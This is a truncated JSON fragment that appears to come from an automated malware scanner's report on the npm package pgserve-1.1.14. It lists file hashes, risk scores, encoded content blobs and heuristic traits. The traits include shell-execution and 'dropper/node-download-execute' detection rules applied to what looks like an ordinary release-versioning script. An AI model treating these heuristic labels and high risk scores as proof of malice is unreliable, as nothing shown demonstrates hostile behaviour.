        "sha": "f6009a0b16a52f3c4722efdface83e1017652f5b835d95d6b2b82298b35850db",
        "path": "pgserve-1.1.14.tgz!!package/ecosystem.config.cjs",
        "risk": 1,
        "size": 580,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 5,
        "mol": "H₄(Cm₂Db₂Os₂Po₇)Md(In)",
        "sha": "cb1859670ef4ad4abbafae94b8c684b0600e636d2e7ba185e05eaf20f363ae6b",
        "path": "pgserve-1.1.14.tgz!!package/bin/pgserve-wrapper.cjs",
        "risk": 9,
        "size": 9760,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "boXZ.B8\u0026{yx(kOnzGWduz!9z^3ni\u003eU3lQ/vqE%VQvrl05q!6\u0026ZAc9jmz/M$txldT8C4z16dHEpFaxrF\u003exjTahasXGRaz#adwGV57A+PGmB1.MBy?m3@wIdFcB094^vpKy[z/cXbB.#7HA:%GoA=k/kBy=O0eIgHNC}B5VzE0O(dHEpFavfHVx(v)giTM#VarR^",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "e\u00261L3j%hNjfFkvm3lQ/9asXHfB-.OBBAnMMw]zYjm})6oBZ=EVv@#B6zGvl/3lQ/varU\u0026sA=U@kzxH5AeG^/1Coz6uA=U@kzxJ?tzdm6%3lQ/varU=mxcnrtarR^HeG+",
            "ln": 279,
            "col": 47,
            "line": 11
          },
          {
            "b": "eP+AlasIbsCYU6DAV/gbBy/JndgdgEarR!vB6\u0026)bz/6AmwGSMEBAhInazCBgBzbxfazC)tvixJfz/6Amx(v(id06frA3eRjx(4re3lQ/K3jpoYzGx[xDMV)AwN!U:zET/qauZ\u0026/wPq\u003cbA+cTDv}YN)wm6p@z!0v1B0\u0026y#3s!0(B95KpB09Q*A+flkx(W=kcUvAEdlv(Dz/fSraAg+hxDPCXA+flkx(W=kcVAHoxEtk\u003c3jpoYzGx[xqCQ7/auZ\u0026^vrufnyhW*7c%{s(x(X91zdLmvcOv20dlv(Dz/fSraw+u\u003eof(6puRjl)p9qXxAa9\u003c4e]2rszywyUpGe\u003e/cVAH7yHH\u003c!e]2DCzyl\u003e{3jnBtaw=G!B7DF5A+xJiwO#Qh3taA#v@#B6zxJ[bA=U!TA+xCwvrc14diJ%AarUfjzGx[xz/x/tauZ\u0026]Eld=UazbLjasI5qBrCoujS(Buazz@XayPq6B1RouzFa68j0nk/d\u003e8P/3lQDlay/tcB95KkA+uHTayPq6B6Au:i%)8MarUxgasHVsxd!mEvrcEhs7#+\u0026c){O#cN*F!DKp(rarR^Hv@DmaBrCvgC{2l)vrc0kA+fiavpJ\u003c%fj3jZfdXj[cN?a:arR^HarUfjzGx[xzE[6ml2{PXjS[fNxldo\u003eas!M?t@@xoarR^HazCBgc#JQvBu%}WasnATa-p\u003eoBu%}We]#byA==w7x([2pcOl[$djDx^",
            "ln": 428,
            "col": 26,
            "line": 16
          },
          {
            "b": "aBKOtaBKOtaAz4nB-Ivxz/x/ti%{xy3s!0(B95KyAccdzjS[YLA=U!TA+xCwAb](bwPI]Bvrc17e]$\u0026yv}v5zdjEs=v@DmaBrCamC#w^5auZ\u0026=Acce9cUdmyePL#KcTv\u003cxD)03fy\u0026:eH3jpx/zEW^5z/cXlz!yFnB7V{ADKp(rv@Dmaz!@#qy\u0026r@mu%vU.y?m3@wNcA7DU)?pEpaG=3vJl*w{503BzkVhaz2!ev\u003c\u003e\u00267wgO\u003cwAcb/jzGu{-aBwI=aBsCrazCBgc$EvzqGV\u003e1cmf\u0026Uz/x/jz/fRGA+eV\u0026pI%#]diJ%AarR^Hy\u0026r@mu%veZC}B5VzE1w^z/](baz2!ev%8)8iV]X{v@k+8u[1eAarR^HA+funA=90EcP.UTaBKOtaAz4nB-IvxwQ4=@q*Am\u003cc$va8efGoZwO#0@wnb{]iV]!)By)GWefFCDwi7\u0026hpFT}vatbo0z/x/jz/fRsEjl^\u003cA+Pwsdlv(+3jpx/zEW^5z/cXgwPQpZA=L-eBxh%[B7]Mgc[co=3lQE3z/fSraAhaeauZ\u0026tq+{dvAa9^dwHIeie]\u003eJiwjyoHwM9\u003e(v\u003c\u003eetlRxZnmpeU=pFJC-cV%Jyi43d7i%)8MA+funA=91syIbnywPz\u003caz/dSzEf{r[B-7Yhx(v(iB-p(1By!G:A=U@kzyxylCueo}B7]MgdiJ%AarUfjzGx[xAbf8ejS)u}pFJJYvrcB2c$WJMA+eV\u0026mRMWIq*Am\u003cc@rh%of(6puRjl)paNInB-.jPcN*Ga3lQEgyIbnywPz\u003caz/cWXaz$+mr+lq)x(v(J3lQE9w/@GBwo8@[B-5SJDKp(rarUoqe{ztIBy^{Qy?lK\u003czEU7\u003ek%[phm[3=Sq+{dtawbNdpa*QfA+PA7x\u003ezSsAbf8qaz#sry+cX:diHb-cTpKpdlv\u003eVaBKOtaz+$ec$34]wmoN\u003ewft\u00261v@2H=wId.sz/cXvwPz\u003caz/dPUbZTAuCueo}B7]MgEpaG=3vJl*w{503BzkVhayYFgA8HgDwPz\u003caz/c$kB-IIlzGF]\u003cA=U@kzyDYP3lQDAfcAR}wN/G#x\u003ewF@y\u0026T8}wo/qazxI?AiV{dffFkvqA:{ZRat2=1f!Ldjiw2nYe\u00260+Ray/tcB95KBv[*xNv}V#Fay/LmA+fcgr+lq)x(v(wzddJ@xECJuc%QpktRon(d{KYiwgG8",
            "ln": 1099,
            "col": 4,
            "line": 41
          },
          {
            "b": "vrl0haAy%!B.$zbjS[=Po\u003c@cNxGDLzarR!EwPS6nzxJsjDTZA8wQMdJv\u003eG3NAa9^dwL3=Yc#@/)B.@MId\u003ccM{u][YraBKO7arSr\u003cawM\u0026%ayPdgqBq#TvS=KbaAg+hv}V#[zE:(hByxiiayPvmA:{ZRiV{dffFksceJ$pie?![rePLtNf:Y3Cv@DmaBrCBeByO#bjS[lSA=L-eBxh%[B7]Mge]t3sv}Wnzumo5?d\u003eaZQc%Qpkdo[FNtX2ulfdw%\u0026arUxgasFyIvru0)diJ.CA=ldAzE[2mmriA!AWUr!zGYD8x\u003eeufwPz\u003caz/cXfz/PY6BugJ\u0026DT?hsA+fcgr+lq)x(v)qu[1eA3lQE3z/fSrax{xtzddf$AX5tIx(m\u003cfefF[uByO#\u0026auZ\u0026:vru0)i%)8MA+funA=91cbZTxpyhXcve*L^Xx(m\u003cfEj=^(Aa9^dwL3=Yc#-Qpv}Wqld\u003ccM{ePLtNf\u003c)6IEf{r[B-7Yhx(v(iAb](lz//L\u0026z=p:^vR/Q7v%8*jwD",
            "ln": 2084,
            "col": 15,
            "line": 79
          },
          {
            "b": "aAz4nB-IvxByw/z3lQEt3jm)#fe1CDByw/[ayPd#ay/tbze180arUluwN^boxk8DgvpS)\u003eAa9l(vp%d7yiarhcN?a:arU=DC{4CvarR^HwQ4=@c$3X4BrC7izeB0eat4BMa%.IBz/6u9Bwl*?EiJ5Fi%)8MEir3dByO#bc$K?IDKp(rarUGsxdbc5z//VbzF78lzY\u0026LdzeB0easIzAA=U@kzxJw7A+eV\u0026C{3%jByO#}B15E=i%)8MEf{r7atkw\u003clVM:DBy=O6zF\u003cxmvru6\u003eaAR483lQE5CX7wku$Tg}aAR48at41AbZTSwxmg)Oz6g32wO+{^B7DEtDVSXeEiJ5Fi%)8My\u0026r@mu{!%Cvru6\u003eaAR48iV]X{Byw*gu[1eA3lQEiwPS6nzxK4fxfcDG3jpx/zEW^5z/cXoB-.OBBvHg?m})6oBZ^TDBzkVhB0#iyA=U@kzy=]Lvp}blx(^9\u003ez/6AmwHO:G3lQE3z/fSraA8yAAclmBjS[Y:z!0v1B1R3wB$MoRr7H1QuR:W3p/QER3lQE9w/@HuB-.OBBswtV3lQDlay/tcB95KxAbwM.xcotWC4CYnx(v(wx(mA%B.268c){P!v\u003eGbTau{$@zE[6mcM\u003eC)cV0jkwPI@vi%)8MarUoqe[5ZrwO#3Fx(4uVD2vauz/{evB-YeSv0la4B7]MgjTtw$wPz\u003caz/f#dzEs[P3lQDlazbWEvq{f%zE=jJy?lK\u003czEU8kB-.OBBsXLxByw/BbZTSwxmj35u[1eAarR^Hw]/OkAbYxawjyoHwM9\u003e(v\u003c(nrBz#wAefFtrAbw%7vp}.GDV0!trafz",
            "ln": 3227,
            "col": 4,
            "line": 115
          },
          {
            "b": "zGudcatkw\u003cph+k=iV}siy?m3@wGU(eBy/Iovrb{4vrDWgeOwTjwPzj3wN(])C{2Q\u003eBvZK-aA?EcatdqvBzb/aflgSuwNPT\u003ee{RqI3lQEfB-.OBBvHg?m})6oBZ^TDBzkVhB0${qCueo}A@",
            "ln": 5112,
            "col": 29,
            "line": 185
          },
          {
            "b": "vp$0hAb]Jevrb{\u0026aZ=-X3lQE9w/@GBwo8@[B-5SJDKp(rarUGsxdbc7B-RjsCwhejiV@6HBrCKBB7=WyclM@nBrCKBB7=WFeP+AlB0\u0026y#3lQEt3vJl*zddc@c[c=Uvru0)c$KI:j%kgVarUfjzGx-jwIdLmA=k$Du%vU.y?m3@wNcAEA=M8siV]X{wId?hB8$=5wQN@ni%)8MAb](bwPI]BwQ4{hc]0ej3vKu+3i",
            "ln": 5266,
            "col": 19,
            "line": 189
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "require"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "ROOT"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "PACKAGE_JSON"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "opts"
            ],
            [
              "",
              "arg"
            ],
            [
              "",
              "arg.startsWith"
            ],
            [
              "",
              "key"
            ],
            [
              "",
              "arg.replace"
            ],
            [
              "",
              "nextArg"
            ],
            [
              "",
              "nextArg.startsWith"
            ],
            [
              "",
              "opts.key"
            ],
            [
              "",
              "opts.key"
            ],
            [
              "",
              "opts"
            ],
            [
              "",
              "parseArgs"
            ],
            [
              "",
              "process.argv.slice"
            ],
            [
              "",
              "dryRun"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "execSync.trim"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "pkg"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "pkg"
            ],
            [
              "",
              "JSON.parse"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "pkg.version"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "rcMatch"
            ],
            [
              "",
              "currentVersion.match"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "currentVersion.match"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "rcMatch"
            ],
            [
              "",
              "currentVersion.match"
            ],
            [
              "",
              "stableMatch"
            ],
            [
              "",
              "currentVersion.match"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "tag"
            ],
            [
              "",
              "commitMsg"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "exec"
            ],
            [
              "",
              "exec"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "exec"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "output"
            ],
            [
              "",
              "npmTag"
            ],
            [
              "",
              "version.includes"
            ],
            [
              "",
              "fs.appendFileSync"
            ],
            [
              "",
              "fs.appendFileSync"
            ],
            [
              "",
              "fs.appendFileSync"
            ],
            [
              "",
              "fs.appendFileSync"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "action"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "currentVersion"
            ],
            [
              "",
              "getCurrentVersion"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "newVersion"
            ],
            [
              "",
              "isPromote"
            ],
            [
              "",
              "newVersion"
            ],
            [
              "",
              "bumpRcVersion"
            ],
            [
              "",
              "newVersion"
            ],
            [
              "",
              "promoteToStable"
            ],
            [
              "",
              "isPromote"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "updateVersion"
            ],
            [
              "",
              "tag"
            ],
            [
              "",
              "createTag"
            ],
            [
              "",
              "outputForGitHubActions"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "main.catch"
            ],
            [
              "",
              "main"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "child_process"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "path"
            ]
          ],
          "mbr": [
            "JSON.parse",
            "JSON.stringify",
            "arg.replace",
            "arg.startsWith",
            "args.length",
            "console.error",
            "console.log",
            "currentVersion.match",
            "e.message",
            "execSync().trim",
            "fs.appendFileSync",
            "fs.readFileSync",
            "fs.writeFileSync",
            "main().catch",
            "nextArg.startsWith",
            "options.readOnly",
            "opts.action",
            "path.join",
            "pkg.version",
            "process.argv",
            "process.argv.slice",
            "process.env",
            "process.env.GITHUB_OUTPUT",
            "process.exit",
            "version.includes"
          ],
          "tgt": [
            "Error",
            "JSON.parse",
            "JSON.stringify",
            "arg.replace",
            "arg.startsWith",
            "bumpRcVersion",
            "console.error",
            "console.log",
            "createTag",
            "currentVersion.match",
            "exec",
            "execSync",
            "execSync().trim",
            "fs.appendFileSync",
            "fs.readFileSync",
            "fs.writeFileSync",
            "getCurrentVersion",
            "log",
            "main",
            "main().catch",
            "nextArg.startsWith",
            "outputForGitHubActions",
            "parseArgs",
            "parseInt",
            "path.join",
            "process.argv.slice",
            "process.exit",
            "promoteToStable",
            "require",
            "updateVersion",
            "version.includes"
          ],
          "funcs": [
            [
              "parseArgs",
              733
            ],
            [
              "log",
              1213
            ],
            [
              "exec",
              1271
            ],
            [
              "getCurrentVersion",
              1485
            ],
            [
              "updateVersion",
              1606
            ],
            [
              "bumpRcVersion",
              1887
            ],
            [
              "promoteToStable",
              2467
            ],
            [
              "createTag",
              3005
            ],
            [
              "outputForGitHubActions",
              3549
            ],
            [
              "main",
              4071
            ],
            [
              "e",
              5371
            ]
          ],
          "metrics": {
            "ast": {
              "op.lt": 1,
              "op.add": 5,
              "op.lor": 1,
              "op.land": 2,
              "op.lnot": 6,
              "max_depth": 14,
              "call_count": 66,
              "node_count": 1616,
              "member_count": 25,
              "op_density.lt": 0,
              "op_density.add": 0,
              "op_density.lor": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 2,
              "member_depth_max": 3
            },
            "file": {
              "size": 5451,
              "entropy": 5.12
            },
            "text": {
              "lines": 198,
              "top_char": 101,
              "max_ws_run": 7,
              "digit_ratio": 0.02,
              "space_count": 863,
              "char_entropy": 5.12,
              "unique_chars": 81,
              "top_char_null": 0,
              "string_density": 0.27,
              "top_char_ratio": 0.06,
              "avg_line_length": 26.53,
              "max_line_length": 114,
              "empty_line_ratio": 0.16,
              "last_line_length": 3,
              "whitespace_ratio": 0.19,
              "identifier_density": 1.32,
              "line_length_stddev": 23.67,
              "normalized_string_count": 3.84,
              "suspicious_comment_ratio": 0.08,
              "suspicious_identifier_ratio": 0.03,
              "normalized_unique_identifiers": 9.57
            },
            "binds": {
              "count": 29
            },
            "binary": {
              "peak_region_bytes": 4427,
              "peak_region_entropy": 5.2
            },
            "source": {
              "function_count": 10
            },
            "imports": {
              "count": 3,
              "stdlib_count": 3,
              "stdlib_ratio": 1
            },
            "strings": {
              "bytes": 1164,
              "count": 54,
              "avg_length": 21.56,
              "max_length": 102,
              "avg_entropy": 3.14,
              "empty_count": 3,
              "entropy_stddev": 1.23
            },
            "comments": {
              "chars": 890,
              "count": 12,
              "lines": 27,
              "high_entropy": 1,
              "to_code_ratio": 0.16
            },
            "functions": {
              "count": 10,
              "density": 5.56,
              "anonymous": 1,
              "avg_params": 1,
              "code_ratio": 0.8,
              "max_params": 3,
              "length_stddev": 12.62,
              "avg_name_length": 10.9,
              "no_params_count": 3,
              "avg_length_lines": 14.36,
              "max_length_lines": 49,
              "min_length_lines": 3,
              "high_entropy_names": 3,
              "avg_param_name_length": 7.36
            },
            "identifiers": {
              "count": 262,
              "unique": 73,
              "avg_length": 6.92,
              "max_length": 22,
              "min_length": 1,
              "avg_entropy": 2.35,
              "reuse_ratio": 0.28,
              "length_stddev": 3.95,
              "sequential_names": 2,
              "single_char_count": 2,
              "single_char_ratio": 0.03,
              "high_entropy_count": 3,
              "high_entropy_ratio": 0.04,
              "all_lowercase_ratio": 0.6,
              "all_uppercase_ratio": 0.05,
              "underscore_prefix_count": 1
            }
          }
        },
        "id": 6,
        "mol": "H₄(Db₂F₃Os₂Po₃)Md₃(InLiPa)",
        "path": "pgserve-1.1.14.tgz!!package/scripts/release.cjs",
        "pid": 0,
        "risk": 10,
        "sha": "929aab61cff557b48ff7c6c84c0d7a231e30beb43c3caacab99e83c2f13f765c",
        "size": 5451,
        "traits": [
          {
            "id": "metadata/file/catalog/service::service-name-github",
            "conf": 0.6,
            "crit": 1,
            "desc": "GitHub service name",
            "spans": [
              [
                311,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                2187,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                43,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                5314,
                0
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-child-process",
            "conf": 0.8,
            "crit": 3,
            "desc": "require() of the child_process module",
            "spans": [
              [
                535,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-fs",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js fs module",
            "spans": [
              [
                572,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/scripted::require-symbol",
            "conf": 1.0,
            "crit": 1,
            "desc": "CommonJS require symbol",
            "spans": [
              [
                535,
                0
              ]
            ]
          },
          {
            "id": "metadata/library/github-actions::action-output-env-file",
            "conf": 0.95,
            "crit": 3,
            "desc": "GitHub Actions output file environment access",
            "spans": [
              [
                3625,
                26
              ]
            ]
          },
          {
            "id": "metadata/package/files/included::npm-package-scripts-member",
            "conf": 0.99,
            "crit": 3,
            "desc": "JavaScript under npm package scripts dir",
            "spans": [
              [
                0,
                27
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-leading-promise-chain-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Leading promise-chain call at module scope",
            "spans": [
              [
                5358,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                1788,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "spans": [
              [
                1788,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-join",
            "conf": 0.84,
            "crit": 1,
            "desc": "Joins a path containing package.json",
            "spans": [
              [
                680,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References a package.json path",
            "spans": [
              [
                697,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                1757,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                1757,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                1757,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::path-join-dirname",
            "conf": 0.5,
            "crit": 2,
            "desc": "path.join with __dirname",
            "spans": [
              [
                631,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "spans": [
              [
                1415,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-dynamic-command",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.92,
            "crit": 3,
            "desc": "execSync receives a variable command",
            "spans": [
              [
                1415,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Executes shell commands synchronously",
            "spans": [
              [
                1415,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync-cmd-arg",
            "conf": 0.9,
            "crit": 3,
            "desc": "execSync called with cmd variable",
            "spans": [
              [
                1415,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/git::git-tag-annotate",
            "conf": 0.82,
            "crit": 3,
            "desc": "Creates annotated git tag",
            "spans": [
              [
                3460,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-command-variable-call",
            "conf": 0.9,
            "crit": 1,
            "desc": "Calls exec with a command-named variable",
            "spans": [
              [
                1279,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-require-destructure-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Destructures Node exec from require",
            "spans": [
              [
                520,
                0
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-child-process-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves child process module",
            "spans": [
              [
                535,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-node",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads files with Node.js",
            "spans": [
              [
                1541,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "spans": [
              [
                1541,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::append-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs appends to a file synchronously",
            "spans": [
              [
                3737,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::write-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs writes to a file synchronously",
            "spans": [
              [
                1757,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/package-manager/publish::package-manifest-version-bump",
            "conf": 0.94,
            "crit": 3,
            "desc": "Updates a package manifest version field",
            "spans": [
              [
                1774,
                136
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-destructure-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Destructures APIs from Node.js child_process",
            "spans": [
              [
                520,
                37
              ]
            ]
          },
          {
            "id": "metadata/file/catalog/service::cloud-saas-service-names",
            "conf": 0.6,
            "crit": 1,
            "desc": "Cloud SaaS service names",
            "uses": [
              0
            ],
            "spans": [
              [
                311,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "uses": [
              26
            ],
            "spans": [
              [
                1541,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::javascript-local-path",
            "conf": 0.7,
            "crit": 2,
            "desc": "JavaScript constructs a local script path",
            "uses": [
              17
            ],
            "spans": [
              [
                631,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-system-module-import-set",
            "conf": 0.88,
            "crit": 3,
            "desc": "Imports at least two Node system modules",
            "uses": [
              4,
              5
            ],
            "spans": [
              [
                535,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js child_process execution",
            "uses": [
              18
            ],
            "spans": [
              [
                1415,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-child-process-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Binds Node child_process exec",
            "uses": [
              24
            ],
            "spans": [
              [
                520,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-command-variable",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.94,
            "crit": 3,
            "desc": "Node child_process exec receives a command-named variable",
            "uses": [
              23,
              37
            ],
            "spans": [
              [
                520,
                37
              ],
              [
                1279,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports the Node.js child_process module",
            "uses": [
              4,
              31
            ],
            "spans": [
              [
                520,
                37
              ],
              [
                535,
                7
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 7,
        "mol": "H₄(Db₂FOsPo₂)Md(In)",
        "sha": "d28ca6fd52ee90378723ec4cae053aef66a5a595e4cfd9fa9d722e598f391fb0",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/analyze-commit.js",
        "risk": 6,
        "size": 5164,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 8,
        "mol": "H₂(DbF)",
        "sha": "59a6793fceaf7f6b61f5b6f13869ef07990437a3e5ee837bf548d5ee1148a269",
        "path": "pgserve-1.1.14.tgz!!package/tests/backpressure.test.js",
        "risk": 3,
        "size": 4833,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "boXZ.B8\u0026{yx(kOnzGWduz!9z^3ni\u003eU3lQ/vluN9XwPP4Zz/]@twPw[[AaAy0wPwb2dHEpFavZ6.wftq#wfu2lwmoN\u003eaztt5AaTlefka^mzdW{bay/tjzGGDgB0b7kAV/gfvrcm1zF783B.\u003e(9BAo5wasWZvdJ?-jvp%dj3lQ/varUrdzFrV8xK#10wPw]5B.\u003e(9Bs?0vB-8qjAV^}wat2fUwO=r$B.?ycdJ/\u0026RxjU%{wGUU$y\u0026A%aao",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "wO=r%AV!?ly\u00260W8eN@ZwzGGDgaw1%zd066uCoyyrA=L-eBrC7iB-8qjA=SVpasY2K3s!0(B95KpB09Q*A+flkx(W=kcUvAEdlv(Dz/fSraAg+hxDPCXA+flkx(W=kcVAHoxEtk\u003c3s!0(B95KKaz2!ev\u003c3gxjS[=RADL#owHF{oxLzo[uVp47v}x.5cN?a:v@DmaBrC]MAb](lx(!02C{4ITjS[=RADL#owHF{GBzkLsdlv\u003ezv@DmaBrCdtwN!2ED2vamjS[Y:z/6ifx\u003ezSswQ4=@dlv\u003ezfdFBUasXH6x(mD7vS=H6wPP57C{2WDayO=2z/Y$xvqG:5zddE2wn=Wfazbt7wPFh3dJ?S2BAIRwB2\u003eB\u003cazbt7wH[%ux(mGkay/tcBy/uiefFRqy\u0026B0ey+cYxvrci%B.\u0026gG3lQ/K3taA#v@#B6zxJL9zE=7Ry\u00260W8c#0ivaBsCray/tcB95KCwNPQ?xI-bVxDPCXAa9\u003c4e]2rszyxEAz!0v1B1Q%Dwge(Tasw^OwO#i[cN?a:3lQDAfcBnowGV2cAa:i5A3fmvazbt9wft#cwGUD8y\u00260W83lQE3z/fSraAg+hBy/GgauZ\u0026Pum^p8tW5F2x\u003ehS%tWnE=wO=r$B.\u003ch?tWg!\u0026diJqjA=2Ahy=%gKtX2uli:+2R3lQEkA^n^O3lQDlay/tcB95KKaz2!ev]EU\u003cv\u003c3gxjS[=RADL#owHF{oxLzo[uVp47v}x.5cN?a:arR^Hv@DmaBrCQnB9hqvauZ\u0026UCX7w-D2vau3lQDlarR!mA+uHDzxHbGDViznBy/GgEiG^TbZTPzvrb\u003c\u003ep*[DVEiJ5I3lQDlarR!Naz2C2z!9N1xf4d.B-.jEi42?%3lQDlasO{+A+Pwsdlv\u003ezarR^Hx\u003ewFoa-.dnB.(dGaBsCrarR^HaAz4nB-IvxzGP=ii%)8",
            "ln": 237,
            "col": 13,
            "line": 11
          },
          {
